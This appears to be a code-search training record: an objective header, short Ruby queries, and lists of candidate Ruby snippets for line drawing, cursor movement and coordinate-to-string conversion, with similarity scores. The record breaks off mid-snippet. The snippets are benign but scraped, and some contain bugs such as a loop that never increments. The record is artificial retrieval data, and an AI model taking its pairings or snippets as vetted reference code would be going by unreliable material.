{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def line_for_position(position); end", "def line_for_position(position); end", "def line_for_position(position); end", "def line(x0, y0, x1, y1)\n # clean params\n x0, y0, x1, y1 = x0.to_i, y0.to_i, x1.to_i, y1.to_i\n y0, y1, x0, x1 = y1, y0, x1, x0 if y0>y1\n sx = (dx = x1-x0) < 0 ? -1 : 1 ; dx *= sx ; dy = y1-y0\n\n # special cases\n x0.step(x1,sx) { |x| point x, y0 } and return if dy.zero?\n y0.upto(y1) { |y| point x0, y } and return if dx.zero?\n x0.step(x1,sx) { |x| point x, y0; y0 += 1 } and return if dx==dy\n\n # main loops\n point x0, y0\n\n e_acc = 0\n if dy > dx\n e = (dx << 16) / dy\n y0.upto(y1-1) do\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xFFFF\n x0 += sx if (e_acc <= e_acc_temp)\n point x0, (y0 += 1), intensity(@color,(w=0xFF-(e_acc >> 8)))\n point x0+sx, y0, intensity(@color,(0xFF-w))\n end\n point x1, y1\n return\n end\n\n e = (dy << 16) / dx\n x0.step(x1-sx,sx) do\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xFFFF\n y0 += 1 if (e_acc <= e_acc_temp)\n point (x0 += sx), y0, intensity(@color,(w=0xFF-(e_acc >> 8)))\n point x0, y0+1, intensity(@color,(0xFF-w))\n end\n point x1, y1\n end", "def from_line\n position.new_line\n end", "def draw_line; draw_horizontal_line(@draw_y + (line_height / 2) - 1, 2); end", "def line_to(x, y)\n cur_page.line_to(x, y)\n end", "def line_to(x, y)\n update_bounds_rect(@x, @y, x, y)\n @x, @y = x, y\n @gui.line_to(x, y)\n self\n end", "def _LineBlock\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_ItemsList)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_LineCommand)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_LineBlock unless _tmp\n return _tmp\n end", "def line(x, y, angle, length)\n cur_page.line(x, y, angle, length)\n end", "def points_on_a_line(x0, y0, x1, y1)\n raise NotImplementedError\n dx = (x1 - x0).abs\n dy = -(y1 - y0).abs\n step_x = x0 < x1 ? 1 : -1\n step_y = y0 < y1 ? 1 : -1\n err = dx + dy\n coords = Array.new\n coords << [x0, y0]\n (\n begin\n e2 = 2 * err\n\n if e2 >= dy\n err += dy\n x0 += step_x\n end\n\n if e2 <= dx\n err += dx\n y0 += step_y\n end\n\n coords << [x0, y0]\n end\n\n ) until (x0 == x1 && y0 == y1)\n coords\n end", "def insert_line\n down\n\n @lines = lines.insert_line(Vedeu::Editor::Line.new, y)\n\n bol\n\n refresh\n end", "def scribble(x1, y1, x2, y2, steps, scrib_val, style)\n \n x_step = (x2-x1) / steps\n y_step = (y2-y1) / steps\n (0 ... steps).each do |i|\n if(style == SCRIBBLE)\n if (i < steps-1)\n line(x1, y1, x1 += x_step+rand(-scrib_val..scrib_val), y1 += y_step + rand(-scrib_val..scrib_val)) \n else\n # extra line needed to attach line back to point- not necessary in HATCHING style\n line(x1, y1, x2, y2)\n end\n elsif (style == HATCHING)\n line(x1, y1, (x1 += x_step)+rand(-scrib_val..scrib_val), (y1 += y_step) + rand(-scrib_val..scrib_val))\n end\n end\nend", "def line\n lines.line(y)\n end", "def line x0, y0, x1, y1, c\n dx = (x1 - x0).abs\n sx = x0 < x1 ? 1 : -1\n dy = (y1 - y0).abs\n sy = y0 < y1 ? 1 : -1\n err = (dx > dy ? dx : -dy) / 2\n \n loop do\n set x0, y0, c\n break if x0 === x1 && y0 === y1\n e2 = err\n if e2 > -dx\n err -= dy\n x0 += sx\n end \n if e2 < dy\n err += dx\n y0 += sy \n end\n end \n end", "def line (distance, direction=nil)\n x1, y1 = position\n move distance, direction\n x2, y2 = position\n canvas.line(x1, y1, x2, y2, color)\n end", "def lineto(x, y)\n CGContextAddLineToPoint(@ctx ,x, y)\n end", "def line(color, x, y, x_shift, y_shift)\n line_moves = []\n new_x = x + x_shift\n new_y = y + y_shift\n opponent_hit = false\n same_color = false\n while new_x < 8 && new_x > -1 && new_y < 8 && new_y > -1 && opponent_hit != true && same_color != true\n if @board.grid[new_x][new_y].read == $empty_space\n line_moves << [new_x, new_y]\n elsif @board.grid[new_x][new_y].color == @board.grid[x][y].color\n same_color = true\n else\n line_moves << [new_x, new_y]\n opponent_hit = true\n end\n new_x += x_shift\n new_y += y_shift\n end\n return line_moves\n end", "def draw_witch(x)\n move_to_top\n @witch.each do |line|\n line_at x, line\n end\n end", "def each_line\n return enum_for(:each) unless block_given?\n offset, last_line_index = @from, lines.count - 1\n lines.each_with_index do |line, line_index|\n yield(line, page_for(index: offset), line_index == last_line_index)\n offset += line.length\n end\n end", "def draw_line(number)\n @dim.times do |i|\n if i+1 == number || @dim-i == number\n print draw_x\n else\n print draw_dot\n end\n end\n end", "def draw_vertical(start_line, end_line, start_char)\n start_line.upto(end_line) do |line_idx| \n @lines[line_idx][start_char] = PATH_CHAR \n end\n end", "def lineofsight(block, other)\n # calculate the shape of the steps needed to move towards the objective as\n # pairs of x and y movements.\n xdist = (block[0] - other[0])\n ydist = (block[1] - other[1])\n # what is the minimum size of the step to move in that direction\n xstep, ystep = simplify_fraction(xdist.abs, ydist.abs)\n xstep = -xstep if xdist.positive?\n ystep = -ystep if ydist.positive?\n\n blocks = []\n move = block\n while move[0] <= $maxx && move[1] <= $maxy && move[0] >= $minx && move[1] >= $miny\n move = [move[0] + xstep, move[1] + ystep]\n blocks << move if $asteroids.include? move\n end\n blocks\nend", "def each_line_with_offset\n return to_enum(:each_line_with_offset) unless block_given?\n\n offset = 0\n\n each_line do |line|\n yield line, offset\n offset = tell\n end\n end", "def draw_line(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.x += 4\n rect.y += index * WLH\n rect.width = contents.width - 8\n rect.height = WLH\n self.contents.clear_rect(rect)\n self.contents.font.color = normal_color\n self.contents.draw_text(rect, @lines[index])\n end", "def Line(x1, y1, x2, y2)\n\t\t#Draw a line\n\t\tout(sprintf('%.2f %.2f m %.2f %.2f l S', x1 * @k, (@h - y1) * @k, x2 * @k, (@h - y2) * @k));\n\tend", "def hline y, c, x1 = 0, x2 = h\n line x1, y, x2, y, c\n end", "def hline y, c, x1 = 0, x2 = h\n line x1, y, x2, y, c\n end", "def line x1, y1, x2, y2, c\n h = self.h\n screen.draw_line x1, h-y1, x2, h-y2, color[c], :antialiased\n end", "def draw_line(x1,y1,x2,y2,r,g,b,graph_function=false)\n if ( @line_dot_size > 1 )\n self.draw_dotted_line(x1,y1,x2,y2,@line_dot_size,r,g,b,graph_function)\n else\n r = 0 if ( r < 0 )\n r = 255 if ( r > 255 )\n g = 0 if ( g < 0 )\n g = 255 if ( g > 255 )\n b = 0 if ( b < 0 )\n b = 255 if ( b > 255 )\n distance = Math.sqrt((x2-x1)*(x2-x1)+(y2-y1)*(y2-y1))\n if ( distance == 0 )\n #return -1\n else\n xstep = (x2-x1) / distance\n ystep = (y2-y1) / distance\n i =0\n while i<=distance\n x = i * xstep + x1\n y = i * ystep + y1\n if((x >= @g_area_x1 && x <= @g_area_x2&& y >= @g_area_y1 && y <= @g_area_y2) || !graph_function )\n if ( @line_width == 1 )\n self.draw_antialias_pixel(x,y,r,g,b)\n else\n start_offset = -(@line_width/2)\n end_offset = (@line_width/2)\n j = start_offset\n while j<=end_offset\n self.draw_antialias_pixel(x+j,y+j,r,g,b)\n end\n end\n end\n i =i+1\n end\n end\n end\n end", "def print_block(y, x, str)\n str.each_line.with_index do |line, index|\n mvaddstr(y + index, x, line.chomp)\n end\n end", "def line(points, colour)\n\tpoints.each do |point|\n\t paint(point[0], point[1], colour)\n\tend\n end", "def line(number); end", "def line(x1, y1, x2, y2)\n CGContextAddLines(@ctx, [NSPoint.new(x1, y1), NSPoint.new(x2, y2)], 2)\n CGContextDrawPath(@ctx, KCGPathStroke) # apply stroke\n endpath\n\n end", "def draw_line(start_x, start_y, end_x, end_y, image)\n line = Magick::Draw.new\n line.polyline(start_x, start_y, end_x, end_y)\n line.draw(image)\nend", "def carve_passage_from(x,y)\n\t\tdirections = [@@N,@@S,@@E,@@W].sort_by{rand}\n\t\tdirections.each do |direction|\n\t\t\t#\n\t\t\t# Render updates of the maze on a \"cell-by-cell\" basis\n\t\t\t#\n\t\t\tif @animate\n\t\t\t display(x,y)\n\t\t\t sleep @delay\n\t\t\tend\n\n\t\t\tdx,dy = x + @@DX[direction], y + @@DY[direction]\n\t\t\tif dy.between?(0,@grid.length-1) && dx.between?(0,@grid[dy].length-1) && @grid[dy][dx] == 0\n\t\t\t\t@grid[y][x] |= direction\t\t\t# \"open\" the wall from current cell;\n\t\t\t\t@grid[dy][dx] |= @@OPPOSITE[direction]\t\t# \"open\" the wall from adjacent cell;\n\t\t\t\tcarve_passage_from(dx,dy)\n\t\t\tend\n\t\tend\n\n\t\t# \n\t\t# Make one final call to \"update\" to display last cell.\n\t\t# Set the coords to (-1,-1) so the cell is left \"blank\" with no cursor.\n\t\t#\n\t\tif @animate\n\t\t display(-1,-1)\n\t\tend\n\tend", "def insert_line\n\t\t@first = params[:placement]['first'].to_f\n\t\t@second = params[:placement]['second'].to_f\n\t\t@new_order_number = @first + ( @second - @first ) / 2\n\t\t@lyric_id = params[:lyric_id]\n\t\t@lyric_line = LyricLine.new lyric_id: @lyric_id, order_number: @new_order_number\n\t\t@new = true\n\tend", "def line!(x_coordinates, y_coordinates, line_width: :default,\n line_color: :default, line_type: :default,\n marker_size: :default, marker_color: :default,\n marker_type: :default)\n @active_subplot.x_range[0] = x_coordinates.min if @active_subplot.x_range[0].nil?\n @active_subplot.x_range[1] = x_coordinates.max if @active_subplot.x_range[1].nil?\n @active_subplot.x_range[0] = x_coordinates.min if x_coordinates.min < @active_subplot.x_range[0]\n @active_subplot.x_range[1] = x_coordinates.max if x_coordinates.max > @active_subplot.x_range[1]\n\n @active_subplot.y_range[0] = y_coordinates.min if @active_subplot.y_range[0].nil?\n @active_subplot.y_range[1] = y_coordinates.max if @active_subplot.y_range[1].nil?\n @active_subplot.y_range[0] = y_coordinates.min if y_coordinates.min < @active_subplot.y_range[0]\n @active_subplot.y_range[1] = y_coordinates.max if y_coordinates.max > @active_subplot.y_range[1]\n\n @active_subplot.tasks.push(Line.new(x_coordinates, y_coordinates,\n line_width: line_width, line_color: line_color,\n line_type: line_type, marker_size: marker_size,\n marker_color: marker_color,\n marker_type: marker_type))\n end", "def draw_horizontal(line, start_char, end_char)\n start_char.upto(end_char) { |char_idx| @lines[line][char_idx] = PATH_CHAR } \n end", "def draw_line(x1, y1, x2, y2, color)\n validate_coordinates!(x1, y1, x2, y2)\n validate_color!(color)\n\n area.draw_line(x1: x1, y1: y1, x2: x2, y2: y2, color: color)\n end", "def pos_on_line(offset)\n end", "def vline x, c, y1 = 0, y2 = w\n line x, y1, x, y2, c\n end", "def vline x, c, y1 = 0, y2 = w\n line x, y1, x, y2, c\n end", "def line(screen, p1, p2)\n\t\t# convert coords\n\t\tx1d, y1d = convert_coords(screen, p1[0], p1[1], p1[2])\n\t\tx2d, y2d = convert_coords(screen, p2[0], p2[1], p2[2])\n\t\t# draw line\n\t\tscreen.line(x1d, y1d, x2d, y2d)\n\tend", "def get_line(x0,x1,y0,y1)\n points = []\n steep = ((y1-y0).abs) > ((x1-x0).abs)\n if steep\n x0,y0 = y0,x0\n x1,y1 = y1,x1\n end\n if x0 > x1\n x0,x1 = x1,x0\n y0,y1 = y1,y0\n end\n deltax = x1-x0\n deltay = (y1-y0).abs\n error = (deltax / 2).to_i\n y = y0\n ystep = nil\n if y0 < y1\n ystep = 1\n else\n ystep = -1\n end\n for x in x0..x1\n if steep\n points << {:x => y, :y => x}\n else\n points << {:x => x, :y => y}\n end\n error -= deltay\n if error < 0\n y += ystep\n error += deltax\n end\n end\n return points\nend", "def start_of_line\n self.cursor = 0\n end", "def position(y, x)\n [START[0] + (y * SPACING[0]),\n START[1] + (x * SPACING[1])]\n end", "def draw_line(x1,y1,x2,y2,r,g,b,graph_function=false)\r\n if ( @line_dot_size > 1 )\n self.draw_dotted_line(x1,y1,x2,y2,@line_dot_size,r,g,b,graph_function)\n else\n r = 0 if ( r < 0 ) \n r = 255 if ( r > 255 ) \r\n g = 0 if ( g < 0 ) \n g = 255 if ( g > 255 ) \r\n b = 0 if ( b < 0 ) \n b = 255 if ( b > 255 ) \r\n distance = Math.sqrt((x2-x1)*(x2-x1)+(y2-y1)*(y2-y1)) \r\n if ( distance == 0 )\r\n #return -1\n else \r\n xstep = (x2-x1) / distance\r\n ystep = (y2-y1) / distance\r\n i =0\n while i<=distance \r\n x = i * xstep + x1\r\n y = i * ystep + y1\r\n if((x >= @garea_x1 && x <= @garea_x2&& y >= @garea_y1 && y <= @garea_y2) || !graph_function )\r\n if ( @line_width == 1 )\r\n self.draw_antialias_pixel(x,y,r,g,b)\n else\r\n start_offset = -(@line_width/2) \n end_offset = (@line_width/2)\n j = start_offset\n while j<=end_offset\n self.draw_antialias_pixel(x+j,y+j,r,g,b)\n end \r\n end\r\n end\n i =i+1\r\n end\n end \n end \r\n end", "def new_line(command)\n if command[1] == command[3]\n if command[2].to_i > @canvas.width - 2 || command[4].to_i > @canvas.width - 2\n puts 'you can not create the line because it is larger than the canvas'\n return\n else\n line_shape = :horizontal\n end\n elsif command [2] == command[4]\n if command[1].to_i > @canvas.height - 2 || command[3].to_i > @canvas.height - 2\n puts 'you can not create the line because it is larger than the canvas'\n return\n else\n line_shape = :vertical\n end\n else\n puts 'The line you are trying to create is not horizontal or vertical'\n return\n end\n @canvas.commands.new_line(command[1], command[2], command[3], command[4], line_shape)\n end", "def get_line(x0,x1,y0,y1)\n \t\tpoints = []\n\t\tsteep = ((y1-y0).abs) > ((x1-x0).abs)\n\t\tif steep then\n\t\t\tx0,y0 = y0,x0\n\t\t\tx1,y1 = y1,x1\n\t\tend\n\t\tif x0 > x1\n\t\t\tx0,x1 = x1,x0\n\t\t\ty0,y1 = y1,y0\n\t\tend\n\t\tdeltax = x1-x0\n\t\tdeltay = (y1-y0).abs\n\t\terror = (deltax / 2).to_i\n\t\ty = y0\n\t\tystep = nil\n\t\tif y0 < y1 then\n\t\t\tystep = 1\n\t\telse\n\t\t\tystep = -1\n\t\tend\n\t\tfor x in x0..x1\n\t\t\tif steep then\n\t\t\t\tpoints << {:x => y, :y => x}\n\t\t\telse\n\t\t\t\tpoints << {:x => x, :y => y}\n\t\t\tend\n\t\t\terror -= deltay\n\t\t\tif error < 0 then\n\t\t\t\ty += ystep\n\t\t\t\terror += deltax\n\t\t\tend\n\t\tend\n\t\treturn points\n\tend", "def draw_line(y)\n width = @options[:page_layout] == :portrait ? 530 : 770\n @pdf.stroke { @pdf.horizontal_line 0, width, :at => y }\n end", "def by(x, y)\n @cursor_loc ||= cursor_location\n to(@cursor_loc[:x] + x, @cursor_loc[:y] + y)\n end", "def line(number)\n end", "def beginpath(x, y)\n CGContextBeginPath(@ctx)\n CGContextMoveToPoint(@ctx, x, y)\n end", "def frame_line(frame_position)\n #This is a stub, used for indexing\n end", "def draw(view, x, y)\r\n view.line_width = 1\r\n view.line_stipple = STIPPLE_SOLID\r\n tr = Geom::Transformation.new([x, y, 0])\r\n @cache.each { |color, points|\r\n view.drawing_color = color\r\n view.draw2d(GL_LINES, points.map { |point| point.transform(tr) } )\r\n }\r\n nil\r\n end", "def generate_move_from_click(x, y)\n [:spawn, {:x => x, :y => y}]\n end", "def line\n\t\t\t@line.set(buffer.line.start, buffer.line.end)\n\t\tend", "def next_line(input=[])\r\n @tokens = input\r\n @column = -1\r\n @line += 1\r\n end", "def polyline points, options, &block\n \n # build a line\n line = Line.new options[:name]\n \n # build up a points float buffer\n pbuf = BufferUtils.createVector3Buffer(points.length / 2)\n puts \"arrived\"\n c = 0\n points.each do |v|\n pbuf.put v\n c += 1\n pbuf.put 0 if c % 2 == 0\n end\n \n # set the width\n if options.has_key? :line_width\n line.set_line_width(options[:line_width])\n end\n \n # set up the colors\n if options.has_key? :colors\n line.set_color_buffer(BufferUtils.create_float_buffer(options[:colors].to_java ColorRGBA))\n elsif options.has_key? :color\n line.set_default_color(options[:color])\n end\n \n #textures\n if options.has_key? :texture_points\n buffer = BufferUtils.createVector2Buffer options[:texture_points].length\n buffer.put options[:texture_points]\n line.set_texture_coords(TexCoords.new(buffer))\n end\n \n # index buffer\n ibuf = BufferUtils.createIntBuffer((0..(points.length / 2) - 1).to_a.to_java :int)\n \n # finish building the quad\n line.reconstruct(pbuf, nil, line.get_color_buffer, line.get_texture_coords[0])\n line.set_index_buffer ibuf\n \n # block invoke\n line.instance_eval(&block) if block\n \n line\n end", "def line(&block)\n attributes[:lines] << Line.build(&block)\n end", "def polyline(x, y)\n n = equal_length(x, y)\n super(n, x, y)\n end", "def perform_v2\n @n.downto(1) do |i|\n @line.insert(i-1, 'X')\n puts @line\n end\n reset\n end", "def draw_line(p1, p2)\n xs = arrange(p1.first, p2.first)\n ys = arrange(p1.last, p2.last)\n\n xs = xs * ys.size if ys.size > xs.size\n ys = ys * xs.size if xs.size > ys.size\n\n xs.zip(ys).each{|point| draw(point) }\n end", "def line x1, y1, x2, y2, c\n screen.draw_line x1, y1, x2, y2, color[c], :antialiased\n end", "def GenSilkLine(x1, y1, x2, y2)\n thickness = GetDim('silkwidth')\n PcbElementLine(x1, y1, x2, y2, thickness)\nend", "def add_line(point1, point2)\n end", "def jump_to_line l\n l = l.clamp 0, num_lines - 1\n return if @topline == l\n @topline = l\n @botline = [l + buffer.content_height, num_lines].min\n buffer.mark_dirty!\n end", "def move_to_next_generation\n @x.times{ |r|\n @y.times{|c| \n @mat[r][c].step_generation\n }\n } \n end", "def line(x1, y1, x2, y2, opts = {})\n Shoes::Line.new app, Shoes::Point.new(x1, y1), Shoes::Point.new(x2, y2), style.merge(opts)\n end", "def line_at(start_x, str)\n x = start_x\n move_to_x(start_x) if start_x > 1\n str.length.times do |i|\n $stdout.putc str[i] if x > 0 && x < @width\n x += 1\n end\n $stdout.putc \"\\n\"\n end", "def draw\n print \" | |\\n\" \\\n \"#{board_line(0)}\\n\" \\\n \" | |\\n\" \\\n \"-----+-----+-----\\n\" \\\n \" | |\\n\" \\\n \"#{board_line(1)}\\n\" \\\n \" | |\\n\" \\\n \"-----+-----+-----\\n\" \\\n \" | |\\n\" \\\n \"#{board_line(2)}\\n\" \\\n \" | |\\n\"\n end", "def newline\n incr_y\n end", "def same_line(line, start_index, end_index)\n if (start_index > end_index)\n start_index = reverse_direction(line, start_index)\n end_index = reverse_direction(line, end_index)\n line.reverse!\n line[start_index..end_index]\n elsif start_index == end_index\n \"\\nBuddy, have a look around, you are already there...\\n\"\n else\n line[start_index..end_index]\n end\nend", "def goto_line pos\n pages = ((pos * 1.00) / @pagesize).ceil\n pages -= 1\n @sta = pages * @pagesize + 1\n @cursor = pos\nend", "def each_line_with_index\n c = 0\n each_line do |l|\n yield l, c\n c += 1\n end\n end", "def line(pos=pos())\n lines[line_index(pos)]\n end", "def draw_line(grids, length)\n grid(grids[0], grids[1]).bounding_box() do\n stroke_horizontal_line 0, 470*length, at: 5\n end\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def new_step(step_x, step_y)\n Coordinates.new(@x_coordinate + step_x, @y_coordinate + step_y)\n end", "def line(name = nil, attr = {}, &block)\n linemap = FFMap.new parent: self, looping: attr[:looping]\n @fields << linemap\n linemap.fields << [:begin, name]\n block.call(linemap)\n linemap.fields << [:end, name]\n end", "def rl_beg_of_line(count, key)\r\n @rl_point = 0\r\n 0\r\n end", "def next_position\n return unless placed?\n axis = case direction\n when 'east', 'west'; :x\n when 'north', 'south'; :y\n end\n amount = case direction\n when 'north', 'east'; +1\n when 'south', 'west'; -1\n end\n [@x + (axis == :x ? amount : 0), @y + (axis == :y ? amount : 0)]\n end", "def line(xx1, yy1, xx2, yy2)\n return \"some y out of range\" unless (0..@height).include?(yy1) && (0..@height).include?(yy2) \n return \"some x out of range\" unless (0..@width).include?(xx1) && (0..@width).include?(xx2)\n\n x1 = [xx1, xx2].min\n x2 = [xx1, xx2].max\n y1 = [yy1, yy2].min\n y2 = [yy1, yy2].max\n\n m = (y2.to_f - y1) / (x2 - x1)\n b = y2 - m * x2\n pixels = Array.new(@width, Array.new(@height, 0))\n\n (x1..x2).each do |x|\n column = Array.new(@height, 0)\n (y1..y2).each do |y|\n pixel = 0\n @density.times do |i|\n xx = (x + i.to_f / @density)\n yy = m * xx + b\n if yy >= y && yy < y + 1\n pixel = 1\n break\n end\n end\n column[y] = pixel\n end\n pixels[x] = column\n end\n\n PNM.create(pixels.transpose, {:type => :pbm})\n end", "def line(x, y)\n [x.value, y.value]\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def draw_line(start, endpoint)\n start = start.to_coords if start.respond_to?(:to_coords)\n start = start.to_ary # ... end\nend", "def hline(x1, x2, y, c)\n x1, x2, y = x1.to_i, x2.to_i, y.to_i\n\n unless self.bounds?(x1, y) && self.bounds?(x2, y)\n puts \"ERR: Coordinates out of bounds\"\n return\n end\n\n (x1..x2).each {|x| self[y, x] = c}\n end", "def each_plate_point\n (0...@size).each do |x|\n (0...@size).each do |y|\n yield x, y, @plate_ids[x][y]\n end\n end\n end", "def draw_line\n print H_SEP * columns\n end", "def line\n return 1 unless lexing_context && locator\n locator.line_for_offset(lexing_context[:end_offset])\n end", "def goto_line pos\n pos = pos.to_i\n pages = ((pos * 1.00)/$pagesize).ceil\n pages -= 1\n $sta = pages * $pagesize + 1\n $cursor = pos\nend", "def new_line!(number)\n if @preprocessor.line_first\n @packet.send_packet\n @packet.add_line(number.to_i)\n else\n @packet.add_line(number.to_i)\n @packet.send_packet\n end\nend", "def draw_separation(x_start, y_start, y_min, y_max, x)\n @canvas.g.translate(x_start, y_start) do |lines|\n lines.styles(:stroke=>'#CCCCCC', :stroke_width=>1, :opacity=>0.05)\n lines.line(x, y_min, x, y_max)\n end\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def draw_lines\n @dim.times do |i|\n if @type.nil?\n draw_line(i+1)\n draw_edge\n puts\n elsif @type == \"allx\" || @type == \"alt\"\n draw_alt_line\n draw_edge\n puts\n end\n end\n end", "def draw_point(x, y, mul, col)\n Line.new(\n x1: CENTER_X + x * mul, y1: CENTER_Y - y * mul,\n x2: CENTER_X + 1 + x * mul, y2: CENTER_Y + 2 - y * mul,\n width: 1,\n color: col,\n z: 20\n )\n end", "def parallel_line(point)\n point = Point.new(point[0], point[1]) if point.is_a?(Array)\n raise TypeError, 'Must pass only Point.' unless point.is_a?(Point)\n\n Line.new(point, point + self.direction.to_point)\n end", "def create_snake\n vertical_position = location[0]\n horizontal_position = location[1]\n @snake_matrix = Array.new(size) { |part_index| [vertical_position, horizontal_position + part_index] }\n end", "def row_of( y )\n @top_line + y\n end" ]
[ "0.66679555", "0.66679555", "0.66679555", "0.6343223", "0.6305485", "0.6238916", "0.61446404", "0.6104875", "0.60880655", "0.60718155", "0.60113436", "0.6008214", "0.5941751", "0.58728486", "0.5846988", "0.58463895", "0.58305645", "0.58121204", "0.5811376", "0.5809389", "0.57813376", "0.5771373", "0.57426727", "0.573951", "0.5725514", "0.57116437", "0.5708092", "0.5708092", "0.5694615", "0.56768674", "0.5668328", "0.56666225", "0.56579983", "0.5653442", "0.564524", "0.5643169", "0.5636096", "0.56295395", "0.56136894", "0.5612589", "0.5608078", "0.5606528", "0.5606528", "0.55956113", "0.5589991", "0.5587754", "0.5584554", "0.55836326", "0.5580779", "0.5566869", "0.55656904", "0.5563457", "0.5561199", "0.55608046", "0.55559677", "0.5551469", "0.55361843", "0.5530574", "0.55279034", "0.5526509", "0.5522739", "0.5517989", "0.55066895", "0.5494274", "0.5490474", "0.5490358", "0.5489698", "0.5485651", "0.5470918", "0.54521227", "0.5449282", "0.54479796", "0.5444724", "0.543641", "0.5434729", "0.54346937", "0.5431513", "0.5420699", "0.5415005", "0.54146636", "0.5405086", "0.5401985", "0.53988785", "0.53938574", "0.5393757", "0.5393218", "0.53856266", "0.5383532", "0.5369401", "0.5362456", "0.53590417", "0.53565794", "0.5356003", "0.53559333", "0.53449315", "0.53414977", "0.5339379", "0.5330104", "0.5329418", "0.53194404" ]
0.69364685
0
Gets the string represented by an array of coordinates.
def get_line_str(coords) line_str = '' coords.each{|x,y| line_str << @box[x][y]} line_str end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def coordinates\n\t coordinate_array.map(&:to_s).join(\",\")\n\tend", "def stringify_coords(coords) # :nodoc:\n coords.map { |c| c.join(',') }\n end", "def build_coordinates_string(coordinates)\n COORDINATES.collect do |param|\n coordinates[param]\n end.join(',')\n end", "def to_s\n \"[#{@x},#{@y}]\"\n end", "def to_s\n \"[#{@x},#{@y}]\"\n end", "def as_s\n\t\"(#{x}, #{y})\"\n end", "def to_s\n \"(#{x}, #{y})\"\n end", "def to_s\n\t\t\"(#{@x},#{@y})\"\n\tend", "def to_s\n \"(#{x},#{y})\"\n end", "def to_s\n \"(#{@x}, #{@y}, #{@z})\" \n end", "def to_s\n \"(#{@x},#{@y})\"\n end", "def to_s\n \"(#{@x},#{@y})\"\n end", "def to_s\n \"(#@x, #@y)\"\n end", "def to_s\n \"#{@name}(#{@x.map(&:to_s).join(\", \")})\"\n end", "def coordinate_array\n\t\t[latitude,longitude]\n\tend", "def coordinates\n \"#{longitude},#{latitude}\"\n end", "def to_s\n \"(#{ x }, #{ y })\"\n end", "def to_s\n \"(#{latitude},#{longitude})\"\n end", "def to_s\n \"(%5.4f, %5.4f)\" % [x, y]\n end", "def to_s\n @points.join(' ')\n end", "def to_s\n \"(#{@x},#{@y},#{@z})\"\n end", "def coordinates\n \"Xmin:%s Ymin:%s Xmax:%s Ymax:%s\" % [x_min, y_min, x_max, y_max]\n end", "def to_s\n \"(\" + x.to_s + \",\" + y.to_s + \",\" + z.to_s + \")\"\n end", "def array_to_string(arr)\n arr.map { |e| \"'#{sanitize(e)}'\" }.join(\",\")\n end", "def to_s\n \"[#{@pos_x}, #{@pos_y}, #{@angle}]\"\n end", "def to_s\n \"#{lat},#{lng}\"\n end", "def convert_coordinates_to_location(coordinates)\n index_to_letter(coordinates[0]) + coordinates[1].to_s\n end", "def array_to_string(value)\n result = ''\n value.each { |value| result += to_cli_value(value) + ',' }\n result = '[' + result.chomp(',') + ']'\n end", "def to_s\n \"(#{@x.map(&:to_s).join(\" * \")})\"\n end", "def to_s\n \"#{identity} (#{latitude}; #{longitude})\"\n end", "def to_s\n \"#{@x}x#{@y}\"\n end", "def to_s; \"#{@x}x#{@y}\"; end", "def coord_to_array(coordinates)\n x = coordinates[1]\n y = coordinates[0]\n conversion = ((x-1) * @size) + (y -1)\n end", "def to_s\n array.map { |x| x.map { |y| y.zero? ? ' ' : '█' }.join }.join(\"\\n\")\n end", "def to_s\n result = \"Polygon, Nr. of Points: #{@polygon_points.length}\"\n # @points.each { |point| result = result + point.to_s + ', '}\n\n return result\n end", "def to_s\n result = \"Polygon, Nr. of Points: #{@polygon_points.length}\"\n # @points.each { |point| result = result + point.to_s + ', '}\n\n return result\n end", "def to_s\n \"n<#{@x}, #{@y}, #{@z}>\"\n end", "def to_s\n \"#@x, #@y\"\n end", "def to_s\n\t\t\"#{@x}, #{@y}, #{@direction}\"\n\tend", "def create_word_1(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def to_s\n# res = \"Feld #{@x} x #{@y}\\n\"\n res = \"\"\n for y in 0...@y\n for x in 0...@x\n case @elemente[x][y].art\n when -1: # Mauer\n res += \"#\"\n when -2:\n res += \"*\"\n when 0:\n res += \".\"\n else\n\t\t #res += @elemente[x][y].dir.to_s\n res += @elemente[x][y].art.to_s\n end\n end\n res += \"\\n\"\n end \n return res\n end", "def to_s\n self.to_a[1,4].map {|x| x.to_s}.join\n end", "def coordinates(string)\n return nil if string.length != 2\n # interpret letter as column\n column = self.class::COLUMNS.index(string[0])\n row = self.class::ROWS.index(string[1])\n return nil if !column || !row\n [row, column]\n end", "def to_s\n \"#{self.latitude},#{self.longitude}\"\n end", "def coordinates(alt_format = false)\n coordinates_array = []\n if alt_format\n return ['-80.394617, 31.066399'] unless has_coordinates?\n dcterms_spatial.each do |el|\n coordinates_array << \"#{longitude(el)}, #{latitude(el)}\" if element_has_coordinates el\n end\n else\n return ['31.066399, -80.394617'] unless has_coordinates?\n dcterms_spatial.each do |el|\n coordinates_array << \"#{latitude(el)}, #{longitude(el)}\" if element_has_coordinates el\n end\n end\n coordinates_array\n end", "def lat_lon\n [latitude, longitude].join(',')\n end", "def to_s\n\t\t\t\t'[' << map(&:to_s).join(', ') << ']'\n\t\t\tend", "def to_s\n r = []\n each do |e|\n r << e\n end\n '[' + r.join(', ') + ']'\n end", "def encode_array(arr)\n arr.join ','\n end", "def to_s\n \"(\" + (0..(self.dimension_count-1)).map {|d| self.value(d).to_s }.join(\", \") + \")\"\n end", "def to_matlab_string\n '[' + map{|e| e.to_s}.join(', ') + ']'\n end", "def coordinates\n [latitude, longitude]\n end", "def create_word(board, *coords)\n \t# puts coords\n \t# puts coords.is_a?(Array)\n coords.map { |coord| 